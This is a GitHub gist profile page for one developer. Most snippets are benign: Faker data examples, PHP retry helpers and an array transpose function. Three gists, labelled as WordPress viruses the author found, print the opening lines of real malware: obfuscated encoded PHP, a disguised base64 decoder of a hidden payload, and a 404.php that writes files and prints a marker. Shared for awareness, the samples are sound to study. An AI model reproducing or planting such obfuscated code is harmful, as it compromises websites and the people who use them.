Skip to content

Instantly share code, notes, and snippets.

View HonzaMac's full-sized avatar

Honza Machala HonzaMac

View GitHub Profile
@HonzaMac
HonzaMac / faker-object-product.js
Created December 20, 2021 22:59
Faker object product.js
const product = {
product: faker.commerce.product(),
productName: faker.commerce.productName(),
};
console.log(product)
/**
{
product: 'Pants',
productName: 'Tasty Rubber Shoes'
@HonzaMac
HonzaMac / faker-object-user.js
Last active December 20, 2021 22:58
faker-object-user example
import faker from 'faker';
const user = {
username: faker.name.findName(),
email: faker.internet.email(),
country: faker.address.country(),
department: faker.company.companyName(),
divisionName: faker.name.jobArea(),
};
@HonzaMac
HonzaMac / example.php
Created August 1, 2017 18:56
Example of usage conditional retry function for RabbitMQ
<?php
use PhpAmqpLib\Exception\AMQPIOException;
use PhpAmqpLib\Exception\AMQPProtocolException;
use PhpAmqpLib\Exception\AMQPRuntimeException;
retryConditional(
function () use ($request, $readTimeout) : Response {
return $this->doSend($request, $readTimeout); // sends message to RabbitMQ
},
function ($result, ?Throwable $ex) {
@HonzaMac
HonzaMac / syslib.php
Created June 17, 2017 08:27
Another wordpress virus
<?php for($o=0,$e='&\'()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)`(-(,+_(-(.(:(](^(_(`({)]+`+{+|,&-^-_(^)](](^(_(^(:(`(,-_(.-_(](:(,+_(-+_(--_(`(.(.+`+_(-(:(.(,+_(--^(.-_(:+{(]+{(:(:(^(`(,(,(,(.(:(:(:+{(,(_(:(_+_(-)](](,(:-_(,,&(_,&+_(-(`(:(.(,(.(.+_(-(.+`(,-_(.(`(](.(_-^(,)](:({(,(,(_(](.(](.-^(,(,(`(,(](:(.({(]-^+_(-(^+_(-(^(.(](,+`(`,&(:+{(.-^(_-_(`-_(]-^+_(-+{(:-^+_(--^(,(_(:(](,(_(`)](:,&(.(,+_(-+{+_(-+|(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](.(.(.(](,+_(-(,,&(^(`(`(^(]-^(,(.(,(.(:-_+_(-(^(_)](.(.(.(](,+_(-(,,&(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](:(^(.-^(,(_(_(](]+|(`(`(.(.+_(--^(,(.(:+{+_(-+`(`+_(-(:(`(:-_(,,&(,-_(.+{(,+_(-(:)](`+_(-(.+{(_+_(-(_+`+_(-)]+_(-(_(,(.(:(`(`)]+_(-,&(:+`+_(--^(.(.(`(_(,-^(:(`(](]+_(-,&+_(-)](^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+`(:(](:(_(:(,(,-_(`+{(]-^(.(`(`-_+_(-(,(,(^(^-^+_(-(`(,+`(:(_(:+|+_(-({(`+{(],&(,(.(,(.(:-_+_(-(^+_(-)](](:(](^(_(:(`)](^-_(_(:(^+`(_+`(`+_(-(](^(_+_(-(^+{(^+{(^(,+_(-(.(:,&(,(:(:(_(](.(_(:(_,&+_(-(_(]-_+_(-)](^,&(,({(:+`(:+|(,)](:({(]+`(.(:(:(,(]+{(:(.
@HonzaMac
HonzaMac / intro.php
Created June 17, 2017 08:26
Another wordpress virus
<?php $l___l_='base'.(32*2).'_de'.'code';$l___l_=$l___l_(str_replace("\n", '', 'QbO8tTv2NBoj4kUpujJlanEQeWDR+lrAJa6TWEnQEGF/uIiq3/G4ox/YCpaqsd6+QRNaT2pbpyBIDnlo
n9g7+Lw1t9v1WK267uz7SPf1vpTl8obrcsFylsFHKn1Hwq2Gi6up23q2nltBpN4maI4bwvJkGILKAYVN
/Do8jG0wcaM4wxtgGZhM+U+1WkB70PedCSKJitN+V9Inv9+rCZR9GYOror6sbm9ost7SXpyZc1Voafn8
8Bb8BmpU5H1wEdlNovex71nmvV68FKn/K8jkcu4DtcqBTN9CsptlS04j6C6uf9GjM3vRKUpvN4ugwoO4
5EGxNH8gb3AuEjPXd1MAef9uc8a9Tx818EhC5lRUKsxEwdV80cCnrkvCslaVsy8sSlidFao+KzgIO0k0
YkIxrCmsSwUkIKiJytfGK63mgKizjUUZZicTdT1pSHJgPdHVEnyuHlyZXbphoZUsrAWPMhF2hKUQuUrM
sntIX1V6eoeOngO3BW7RhxH/VtMYRkuAkgDFoao8mQqEaY8seorw9KLriXHrajme7SEY9hozLQxPnea8
n95gB17yfy5KVD58TAxI/4LB/cPDdqALqzkguRPhiqUNJAize7jOsuhGJjBd6SZehrS5KMLuAUC2R9Fy
NlIirL+yFQJjXJM7Z767azghNBvJErfiXhlqioVlreykDJCGMWVwUiDtejE8v+lRwl6Dyr8HQq1w3eAY
hc+nMheGlC4KaZifqhqfw1zP+nkQxEQpz4cePF4CWr+t7sZH7qALp02RP6aWReN8L9cuYiNlaM5pk38J
@HonzaMac
HonzaMac / 404.php
Created June 17, 2017 08:22
I've found virus in wordpress
<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
@HonzaMac
HonzaMac / retry.php
Created November 6, 2015 22:44
Retry any function in php
<?php
if (!function_exists('retry')) {
/**
* Retries callable
*
* Could be specified how many times, default is 1 times.
*
* @param callable $what
* @param int $retry how many time should it be retried, default is 1
* @return mixed
@HonzaMac
HonzaMac / transpose.php
Last active November 6, 2015 22:43
php transpose data
<?php
// dummy implementation by someone on internet
// https://medium.com/@shaun_morrow/transposition-in-php-ef49dde5ca15
function transposeData($data)
{
$retData = array();
foreach ($data as $row => $columns) {
foreach ($columns as $row2 => $column2) {
$retData[$row2][$row] = $column2;
}